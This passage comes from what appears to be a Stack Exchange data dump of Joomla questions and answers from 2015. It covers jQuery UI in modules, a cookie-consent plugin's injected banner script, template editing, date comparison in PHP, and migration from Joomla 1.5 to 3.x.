  <row Id="10407" PostTypeId="1" AcceptedAnswerId="10812" CreationDate="2015-06-13T03:15:35.403" Score="1" ViewCount="109" Body="&lt;p&gt;I am trying to make an Custom HTML module which can allow droppable contents on my localhost&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please view the image for the result&#xA;&lt;img src=&quot;https://i.stack.imgur.com/3n1BS.png&quot; alt=&quot;Error Result&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have installed the JQuery Easy extension and have enabled it as per the instruction&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code that I am trying to run is from &lt;a href=&quot;https://jqueryui.com/droppable/#default&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://jqueryui.com/droppable/#default&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have search and tried many way but i am unable to make it work&#xA;Any advise??&lt;/p&gt;&#xA;" OwnerUserId="5424" LastActivityDate="2015-07-14T04:15:13.907" Title="Droppable images in a module" Tags="|custom-module|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10408" PostTypeId="1" CreationDate="2015-06-13T05:01:22.933" Score="4" ViewCount="1184" Body="&lt;p&gt;I'm using Joomla! 3.3.6 and Folcomedia - Cookies Alert plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's a great plugin but in Italy there is a very strict legislation, now.&#xA;Practically, the activation of third-party cookies (almost all!) is NOT permitted without agreement. So, I added some more changes, blocking ads and social modules if the cookie Folcomedia is not present, for example; and adding a page refresh when the navigator accepts, to load all missing modules.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is already good but it's more than a week and I'm trying to integrate the agreement to scroll the page.&#xA;I'm not an expert but if I try with a php test page, it works, but it has no effect inside the plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, the first question, in my site are loading these jQuery, are they sufficient?&lt;/p&gt;&#xA;&#xA;google.load(&quot;jquery&quot;, &quot;1.6.1&quot;);&#xA;&#xA;&lt;p&gt;js/jquery.min.js&#xA;js/jquery-noconflict.js&#xA;js/jquery-migrate.min.js&#xA;js/jquery.cycle.all.js&#xA;js/jquery.simplemodal.js&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the cookie does not exist, the plugin loads this banner (at the bottom or the top of the page).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($type_affichage == 1) { $function_close = 'onclick=&quot;CloseCadreAlertCookie(); javascript:ssxl(\'LINK=Consenso%20Cookie\'); window.location.reload(true)&quot;'; } &#xA;&#xA;        $text_btn_more = '&amp;lt;div class=&quot;'. $meme_ligne .' '.$span.' col-sm-6 btn_readmore&quot; style=&quot;margin:5px 0;text-align:'.$position_btn_more.'&quot;&amp;gt;&amp;lt;a style=&quot;'.$couleur_btn_more_style.'color:'.$couleur_texte_btn_more.'&quot; class=&quot;btn '.$couleur_btn_more.' '.$taille_btn_more.' read_more&quot; href=&quot;'.JRoute::_(&quot;index.php?Itemid=&quot;.$link_readmore_menu).'#'.$ancre_link_readmore_menu.'&quot;&amp;gt;'.$texte_readmore.'&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;';&#xA;        $text_btn_more_poup = '&amp;lt;div class=&quot;'.$span.' col-sm-6 btn_readmore&quot; style=&quot;margin:5px 0;text-align:'.$position_btn_more.'&quot;&amp;gt;&amp;lt;a style=&quot;'.$couleur_btn_more_style.'color:'.$couleur_texte_btn_more.'&quot; class=&quot;btn '.$couleur_btn_more.' '.$taille_btn_more.' read_more&quot; onclick=&quot;jQuery.magnificPopup.close();&quot; href=&quot;'.JRoute::_(&quot;index.php?Itemid=&quot;.$link_readmore_menu).'#'.$ancre_link_readmore_menu.'&quot;&amp;gt;'.$texte_readmore.'&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;';&#xA;        $text_btn_close = '&amp;lt;div class=&quot;'.$meme_ligne.' '.$span.' col-sm-6 btn_close&quot; style=&quot;margin:5px 0;text-align:'.$position_btn_close.'&quot;&amp;gt;&amp;lt;button '.$function_close.' style=&quot;'.$couleur_btn_close_style.'color:'.$couleur_texte_btn_close.'&quot; class=&quot;btn '.$couleur_btn_close.' '.$taille_btn_close.' popup-modal-dismiss&quot;&amp;gt;'.$texte_close.'&amp;lt;/button&amp;gt;&amp;lt;/div&amp;gt;';&#xA;&#xA;        $text_out ='&amp;lt;div id=&quot;cadre_alert_cookies&quot; style=&quot;opacity:'.$opacity.';text-align:'.$position_contenu.';'.$position_fixe_cookie.' margin:'.$marge_ext.'px;&quot;&amp;gt;';&#xA;        $text_out .='&amp;lt;div style=&quot;display: inline-block;width: 100%;margin:auto;max-width:'.$taille_cadre.';background-color: '.$fond_couleur.';'.$css_bordure.'&quot;&amp;gt;';&#xA;        $text_out .='&amp;lt;div style=&quot;display: inline-block;padding:'.$marge_int.'px;color: '.$texte_couleur.'&quot;&amp;gt;&amp;lt;div class=&quot;cadre_texte '.$meme_ligne.'&quot;&amp;gt;'.$texte.'&amp;lt;/div&amp;gt;';&#xA;        $text_out .='&amp;lt;div class=&quot;cadre_bouton '.$meme_ligne.'&quot;&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And this script in page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($type_affichage == 1) {&#xA;&#xA;            $script = '&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;';&#xA;            $script .='var name = &quot;fmalertcookies&quot; + &quot;=&quot;;';&#xA;            $script .='var ca = document.cookie.split(&quot;;&quot;);';               &#xA;            $script .='for(var i=0; i&amp;lt;ca.length; i++) {';&#xA;            $script .='var c = ca[i];';&#xA;            $script .='while (c.charAt(0)==&quot; &quot;) c = c.substring(1);';       &#xA;            $script .='if (c.indexOf(name) == 0){ document.getElementById(&quot;cadre_alert_cookies&quot;).style.display=&quot;none&quot;;}';&#xA;            $script .='}';          &#xA;            $script .='var d = new Date();';&#xA;            $script .='d.setTime(d.getTime() + ('.$duree_cookie.'*(24*60*60*1000)));';&#xA;            $script .='var expires_cookie = &quot;expires=&quot;+d.toUTCString();';&#xA;            $script .=&quot;function CloseCadreAlertCookie(){document.getElementById('cadre_alert_cookies').style.display='none'; document.cookie='fmalertcookies=true; '+expires_cookie+'; path=/'}&quot;;&#xA;            $script .=&quot;&amp;lt;/script&amp;gt;&quot;;&#xA;&#xA;            // Position Haut&#xA;            if ($position == 0) {&#xA;                $buffer = preg_replace('/&amp;lt;body(.*?)&amp;gt;/i', '&amp;lt;body$1&amp;gt;'.$text_out.$script, $buffer);&#xA;            }&#xA;            // Position Bas&#xA;            elseif ($position == 1) {&#xA;&#xA;                $parts = explode('&amp;lt;/body&amp;gt;', $buffer);   &#xA;                if (sizeof($parts)&amp;lt;2) {&#xA;                    return; // il n'y a pas &amp;lt;/body&amp;gt; dans la page&#xA;                }&#xA;&#xA;                $parts[sizeof($parts)-2] .= $text_out.$script;&#xA;                $buffer = implode('&amp;lt;/body&amp;gt;', $parts);                           &#xA;            }&#xA;        }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Have you any suggestions to supplement the closing div and setting the cookie to scroll the page? Thank you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do not know if I have given all the necessary information ...&lt;/p&gt;&#xA;" OwnerUserId="5326" LastActivityDate="2015-08-05T09:55:29.480" Title="Cookie Law and Folcomedia - Cookies Alert" Tags="|joomla-3.3.x|cookies|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10409" PostTypeId="2" ParentId="10407" CreationDate="2015-06-13T05:53:00.193" Score="0" Body="&lt;p&gt;You should make following settings in jQuery Easy to work:&#xA;Enable jQuery: &lt;code&gt;jQuery + jQuery UI&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both versions for jQuery and jQuery Ui should match - for example 1.8&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure you have Theme for jQuery UI - this will ensure jQuery style sheet is loaded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remove any style declarations from code example posted in your question and make all of them inline like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div style=&quot;width: 100px; height: 100px; padding: 0.5em; float: left; margin: 10px 10px 10px 0; background-color: #eeeaaa; display: inline-block;&quot; id=&quot;draggable&quot; class=&quot;ui-widget-content&quot;&amp;gt;&#xA;  &amp;lt;p&amp;gt;Drag me to my target&amp;lt;/p&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;div style=&quot; width: 150px; height: 150px; padding: 0.5em; float: left; margin: 10px; background-color: #eeeeee;&quot; id=&quot;droppable&quot; class=&quot;ui-widget-header&quot;&amp;gt;&#xA;  &amp;lt;p&amp;gt;Drop here&amp;lt;/p&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Otherwise you will have &lt;code&gt;&amp;lt;style&amp;gt;&lt;/code&gt; tags inside &lt;code&gt;body&lt;/code&gt; section, which is not advisable - see &lt;a href=&quot;https://stackoverflow.com/questions/2830296/using-style-tags-in-the-body-with-other-html&quot;&gt;here&lt;/a&gt;.&#xA;(You can place styles in a css file as well.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Script should be modified slightly as per &lt;a href=&quot;https://stackoverflow.com/questions/18548483/jquery-not-working-on-joomla-3&quot;&gt;this&lt;/a&gt; advice:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;&#xA;  jQuery(document).ready(function($) {&#xA;    jQuery( &quot;#draggable&quot; ).draggable();&#xA;    jQuery( &quot;#droppable&quot; ).droppable({&#xA;      drop: function( event, ui ) {&#xA;        jQuery( this )&#xA;          .addClass( &quot;ui-state-highlight&quot; )&#xA;          .find( &quot;p&quot; )&#xA;            .html( &quot;Dropped!&quot; );&#xA;      }&#xA;    });&#xA;  });&#xA;  &amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Script is &lt;a href=&quot;https://stackoverflow.com/questions/13075502/is-it-bad-to-have-script-tag-inside-div&quot;&gt;OK&lt;/a&gt; to be included in the Custom HTML module even within div tags from Joomla.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure your Joomla editor do not strips JS code when saving.&#xA;Clean Joomla cache and reload.&#xA;Check browser console for errors.&lt;/p&gt;&#xA;" OwnerUserId="1995" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2015-06-13T20:12:39.983" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10411" PostTypeId="1" CreationDate="2015-06-13T07:30:02.123" Score="-6" ViewCount="3053" Body="&lt;p&gt;Hi the only way I can see the html file is if I right click on any page of my Joomla 3.4 site and select &quot;inspect element&quot; tool from my Windows PC. Then I can see the index.html of that page... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a few things I would like to change there so I am testing things around. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I access these files? .... They are not in my host server control panel file manager, and I can't see them in Joomla admin either. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have grabbed the home page index.html using HTML editors like CoffeCup via FTP and then pasted the file back into my cp, but the changes I created in the html file did not take effect, it didn't override the live site one. &#xA;I have a Linux hosting service, I use Webmatrix as well connected via ftp.  &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;My follow up question to your initial comments without all the images and links I sent which took so long to put together.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hi FFrewin and moomoochoo I am adding more info to my initial question above.&#xA;Just one of the many things I need to edit in my site I will give you 3 examples why I need to figure out how to access the html files and if you can let me know how would be GREAT !!! Zoom in the images so you can see the code:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) The phrase, &quot;Slogan&quot;, under the logo. I want to center that. For now I had to put a line under for spacing. If I go the usual admin way&#xA;template manager/styles/protostar/advanced &#xA;centering it in Joomla admin is not an option and it's not there in any php file either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;basically now the html file div is &#xA;&lt;code&gt;&amp;lt;div class=&quot;site-description&quot;&amp;gt;_The Luxury only Tube&amp;lt;/div&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but it needs to be &#xA;&lt;code&gt;&amp;lt;div class=&quot;site-description&quot;&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;The Luxury only Tube&amp;lt;/div&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) The heading in the forms cannot have a link in it. Meaning if I go to Joomla admin I can't edit the heading there to have a url that links &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So heading (phrase above the forms) is now &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;page-header&quot;&amp;gt;&#xA;        &amp;lt;h1&amp;gt;You must Sign-up at www.mysite.com before you can register here.&amp;lt;/h1&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But it should be &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;page-header&quot;&amp;gt;&#xA;        &amp;lt;h1&amp;gt;You must Sign-up at &amp;lt;a href=&quot;http://www.mysiteb.com/&quot;&amp;gt;www.mysiteb.com &amp;lt;/a&amp;gt;before you can register here.&amp;lt;/h1&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;3) Also on the same form www.mysite.com/basic I need to change only one of the text boxes padding width size in the form in item &quot;store type&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I change that on the css file it will affect all the other boxes in the form too. I tried changing it in the plugin xml file too but it won't work either. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;and the modified&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So again I need to change the index.html. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;it is now &#xA;&lt;code&gt;&amp;lt;select id=&quot;jform_profile_storetype&quot; name=&quot;jform[profile][storetype]&quot; class=&quot;required&quot; required=&quot;required&quot; aria-required=&quot;true&quot; aria-invalid=&quot;false&quot;&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But needs to be&#xA;&lt;code&gt;&amp;lt;select id=&quot;jform_profile_storetype&quot; name=&quot;jform[profile][storetype]&quot; class=&quot;required&quot; required=&quot;required&quot; aria-required=&quot;true&quot; aria-invalid=&quot;false&quot; style=&quot;&#xA;    width: 144.22222137451172px; &quot;&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Therefore on one of my code editors I plugged in the home page index.HTML file but once I paste it back to my hosting cp it does not plug in the changes. &#xA;I really need someone to kindly let me know how to make these changes in the Joomla  html files.&#xA; Thank you in advance&lt;/p&gt;&#xA;" OwnerUserId="5425" LastEditorUserId="168" LastEditDate="2015-06-15T08:43:23.020" LastActivityDate="2015-06-15T14:31:22.907" Title="How to edit the index.html files of Protostar Joomla 3.4" Tags="|editing|beginner|" AnswerCount="1" CommentCount="8" ClosedDate="2015-06-15T21:00:29.303" ContentLicense="CC BY-SA 3.0" />
  <row Id="10413" PostTypeId="2" ParentId="10411" CreationDate="2015-06-13T11:12:19.107" Score="3" Body="&lt;p&gt;The reason you can't edit the HTML files is that &lt;em&gt;they don't exist&lt;/em&gt;. The whole point with a CMS is that each page is generated dynamically, based on your template, articles, modules, components etc. The source code you see in your code inspector is not stored anywhere, it's generated on the fly by Joomla when someone requests that page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I’ll try to give you a very brief idea of where to look, but it's much more complicated than what I’ve outlined below because there are many different parts that can be used to make the page you are looking at. Joomla is made up of articles, plugins, modules, components and templates which all work together to produce the pages on your website. It is a steep learning curve.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At it's simplest, you'd probably want to edit the article and template.To edit the article go to the administrative backend. To do that enter www.yourwebsitename.com/administrator in your browser then enter the admin username and password for your website. &#xA;Then goto Content -&gt; Article Manager &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3N3Wl.jpg&quot; alt=&quot;How to log into and edit a Joomla article&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should see an article or list of articles. Choose the one relevant to you and open it. Generally speaking this will mostly contain the textual information that is on the page, but you will have to look at it to know if this is the case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The styling of the page is usually done from the template. To determine which template to edit go to the administrative backend again. Then choose Extension -&gt; Template Manager&lt;img src=&quot;https://i.stack.imgur.com/QZ2vW.jpg&quot; alt=&quot;Joomla template manager&quot;&gt;&#xA;then select the template that is being used for the page you are trying to edit. In the simplest of cases there will be two templates assigned to your website- the one you want to edit is assigned to SITE. The other one that you do not want to edit is assigned to ADMINISTRATOR. A yellow star will be next to any template that is used as default.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the example below, the Protostar template is the one that you would want to edit as it is the default template and is assigned to the site. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LJFGS.jpg&quot; alt=&quot;Edit Joomla template&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To actually edit that file go to &lt;code&gt;Joomlaroot/templates/protostar/index.php&lt;/code&gt; you should be able to do this using your FTP program.&#xA;If there is an index.html file ignore it as it is not used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will also want to edit the &lt;code&gt;Joomlaroot/templates/protostar/css/template.css&lt;/code&gt; file. This is an over simplification of how to edit your Joomla page. I hope it sets you in the right direction.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Your 3 examples&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for the changes you want to make, you have to think a little different when using a CMS. If you need to heavily customize the way your content (HTML) is generated, you should use &lt;a href=&quot;https://docs.joomla.org/Understanding_Output_Overrides&quot; rel=&quot;nofollow noreferrer&quot;&gt;template overrides&lt;/a&gt;. In many cases, CSS can save the day:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;Never&lt;/em&gt; use spaces (&lt;code&gt;&amp;amp;nbsp;&lt;/code&gt;) for layout purposes. A single line of CSS can fix this issue: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.site-description { text-align: center; }&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;&amp;lt;h1&amp;gt;&lt;/code&gt;-tags should be used for the main heading, not for information. Instead of using the Page Heading parameter, see if your form has an option to add text. If not, create a Custom HTML module with your content (use HTML as much as you want), hide the header in the module settings if needed, and publish it to a position above the form.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Again, CSS saves the day. If your CSS changes too many elements, you have to be more specific:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;select#jform_profile_storetype { width: 144.22222137451172px; }&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="115" LastEditorUserId="1629" LastEditDate="2015-06-15T14:31:22.907" LastActivityDate="2015-06-15T14:31:22.907" CommentCount="3" CommunityOwnedDate="2015-06-13T11:12:19.107" ContentLicense="CC BY-SA 3.0" />
  <row Id="10417" PostTypeId="1" CreationDate="2015-06-14T07:07:55.757" Score="0" ViewCount="1394" Body="&lt;p&gt;I face a weird issue with my joomla site, There is one super user can enter the admin backend but when I try to login with any other user after entering the user and the password it redirect me back to the same page to enter the credentials, after checking the network response I saw error without any explanation: Error code 303 see other&lt;/p&gt;&#xA;&#xA;&lt;p&gt;can anyone help regarding this,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanx&lt;/p&gt;&#xA;" OwnerUserId="3676" LastActivityDate="2015-06-15T05:53:09.657" Title="Eror 303 see other when trying to login" Tags="|joomla-3.x|login|user|server-response-time|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10418" PostTypeId="1" AcceptedAnswerId="10452" CreationDate="2015-06-14T11:37:45.997" Score="5" ViewCount="771" Body="&lt;p&gt;Not much explanation found for the predefinedlist form field at &lt;a href=&quot;https://docs.joomla.org/Standard_form_field_types&quot;&gt;https://docs.joomla.org/Standard_form_field_types&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone please help me how this can be configured?&lt;/p&gt;&#xA;" OwnerUserId="2239" LastEditorUserId="2239" LastEditDate="2015-06-14T19:47:11.747" LastActivityDate="2015-07-18T10:53:20.427" Title="More info required on form field predefinedlist" Tags="|joomla-3.4|form-fields-types|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10419" PostTypeId="1" AcceptedAnswerId="10421" CreationDate="2015-06-14T17:05:59.983" Score="3" ViewCount="1688" Body="&lt;p&gt;I need to find if custom date provided by application user is less than today's date or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$today    = JFactory::getDate();                        // 2015-06-14 16:54:50&#xA;$expected = JFactory::getDate($data['expected_date']);  // 2015-06-14 00:00:00&#xA;&#xA;if ($expected &amp;lt; $today)&#xA;{&#xA;    throw new UnexpectedValueException(JText::_('COM_MYCOMPONENT_REQUEST_EXPECTED_DATE_ERROR'));&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see above, &lt;code&gt;$today&lt;/code&gt; returns correct date but it returns with time which causes my if loop to fail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I usually prefer Joomla way to implement any code. It's great!&lt;/p&gt;&#xA;" OwnerUserId="2233" LastEditorUserId="2233" LastEditDate="2015-06-14T17:27:57.803" LastActivityDate="2015-06-15T14:30:39.063" Title="Check if date is less than today's date" Tags="|joomla-3.x|date|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10420" PostTypeId="2" ParentId="10406" CreationDate="2015-06-14T17:27:12.193" Score="2" Body="&lt;p&gt;As posted by Lodder, It is really hard to migrate Joomla 1.5 site to other framework. You would surely need enough months to accomplish this task.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I rather suggest you to go from Joomla 1.5 to Joomla 3.x. The migration from Joomla! 1.5 to 3.x is a major migration. There are many changes in features and database tables between these two version. It is NOT a one-click update. You will be building/installing a fresh Joomla! 3 installation and then migrating (moving) your data into it. If you haven't already, you may want to start with the Self Assessment and Planning documents.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Following are few steps:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Prepare a Location for Joomla 3&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure your server environment meets the &lt;a href=&quot;http://www.joomla.org/about-joomla/technical-requirements.html&quot; rel=&quot;nofollow&quot;&gt;technical specifications&lt;/a&gt; for Joomla! 3 before proceeding.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create a new database and new user for your Joomla! 3.x site. Document the database name, database username and database password as you’ll need it when you install Joomla 3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Use Third Party Extension (&lt;a href=&quot;http://extensions.joomla.org/category/migration-a-conversion/joomla-migration&quot; rel=&quot;nofollow&quot;&gt;Migration Tool&lt;/a&gt;)&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used &lt;a href=&quot;http://extensions.joomla.org/extensions/extension/migration-a-conversion/joomla-migration/sp-upgrade&quot; rel=&quot;nofollow&quot;&gt;SP Upgrade&lt;/a&gt; It's great tool and transfers all database flawlessly. They have good documentation too. However, it's your choice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Migration&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Migrate all core data you want to move to Joomla 3.x. If your&#xA;migration tool asks to move Sections and Categories, definitely do&#xA;both. The conversion will happen to categories and nested categories&#xA;automatically.&lt;/li&gt;&#xA;&lt;li&gt;Run the Database Fix by going to Extension &lt;strong&gt;Manager →&#xA;Database&lt;/strong&gt; and click the Fix button in the top toolbar.&lt;/li&gt;&#xA;&lt;li&gt;Install your&#xA;new template or converted template so that you can see your content.&#xA;See more about Template Considerations.&lt;/li&gt;&#xA;&lt;li&gt;Add new menus if the tool&#xA;you chose to use didn’t bring over menus. If you want to use split&#xA;menus, set that up now.&lt;/li&gt;&#xA;&lt;li&gt;Add modules if the tool you chose to use didn’t bring over modules. If the tool you chose to use did bring over modules, change the module positions to the positions in your new template if required so that your modules show up and you can see what you’re working with.&lt;/li&gt;&#xA;&lt;li&gt;Check for duplicate alias issues and fix them&lt;/li&gt;&#xA;&lt;li&gt;Check your internal links. If any are broken, fix them&lt;/li&gt;&#xA;&lt;li&gt;Take a backup&lt;/li&gt;&#xA;&lt;li&gt;Install other third-party extensions and configure them (like editors, Akeeba backup, slideshows, or plugins).&lt;/li&gt;&#xA;&lt;li&gt;Take a backup&lt;/li&gt;&#xA;&lt;li&gt;If you have large extensions with data to migrate, do each one according to the developer documentation and then take a backup after each one&lt;/li&gt;&#xA;&lt;li&gt;If your migration tool didn’t move the images, you will want to move your images from the 1.5 site to the 3.x site. Note: keep the /stories directory unless you want to relink all your images. You can start a new organisational structure in the /images directory from here forward if stories is a mess&lt;/li&gt;&#xA;&lt;li&gt;If you are going to add anything to your site or use new core features like Tags, get them set up and configured at this time&lt;/li&gt;&#xA;&lt;li&gt;Check your URLs on the Joomla 3 site and compare to the Joomla 1.5 site. If they are different, document each (an excel spreadsheet is helpful) 1.5 URL and what Joomla 3.x URL they will be going to so that you can do redirects and keep your ranking&lt;/li&gt;&#xA;&lt;li&gt;Take a backup. Clean up more. Test everything. Take a backup.&lt;/li&gt;&#xA;&lt;li&gt;Move or change or add updated data from the 1.5 site to the Joomla 3 site&lt;/li&gt;&#xA;&lt;li&gt;Host it on your hosting space. Make sure you have taken backup at all intervals so that if something goes wrong, you have previous version ready.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Joomla 3.x is way better than Joomla 1.5 in every aspect. I encourage&#xA;  you to play with it on demo site. End user will never regret to have&#xA;  this awesome CMS.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="2233" LastActivityDate="2015-06-14T17:27:12.193" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10421" PostTypeId="2" ParentId="10419" CreationDate="2015-06-14T18:04:52.423" Score="3" Body="&lt;p&gt;I always compare dates with unix timestamps. In this day, there is no question about minutes or timezones.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($expected-&amp;gt;toUnix() &amp;lt; $today-&amp;gt;toUnix())&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;On the other hand, if you want to only compare only the date part, you can just format the dates and compare them with the simple string comparison:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($expected-&amp;gt;format('Y-m-d') &amp;lt; $today-&amp;gt;format('Y-m-d'))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In addition, when you receive a date, it may be on user timezone, so you could have to convert it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$userTz = JFactory::getUser()-&amp;gt;getParam('timezone');&#xA;$timeZone = JFactory::getConfig()-&amp;gt;get('offset');&#xA;&#xA;if ($userTz)&#xA;{&#xA;    $timeZone = $userTz;&#xA;}&#xA;&#xA;$tz = new DateTimeZone($timeZone);&#xA;$date = JFactory::getDate($expected, $tz);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="174" LastEditorUserId="174" LastEditDate="2015-06-15T14:30:39.063" LastActivityDate="2015-06-15T14:30:39.063" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10422" PostTypeId="1" CreationDate="2015-06-15T02:50:39.793" Score="1" ViewCount="2003" Body="&lt;p&gt;The phrase description under the logo. I want to center that. For now I had to put a line under for spacing. If I go to the template settings (&lt;code&gt;Template manager -&amp;gt; Styles -&amp;gt; Protostar -&amp;gt; Advanced&lt;/code&gt;), centering it in Joomla admin is not an option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It looks like this:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;My Logo is Here&lt;br&gt;&#xA;  The phrase&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;needs to be&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;My Logo is Here&lt;br&gt;&#xA;  &amp;nbsp;&amp;nbsp;&amp;nbsp;The phrase &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;so I went to &#xA;I tried going to &#xA;&lt;code&gt;public_html/templates/protostar/index.php&lt;/code&gt;   ...line 141 and added a space 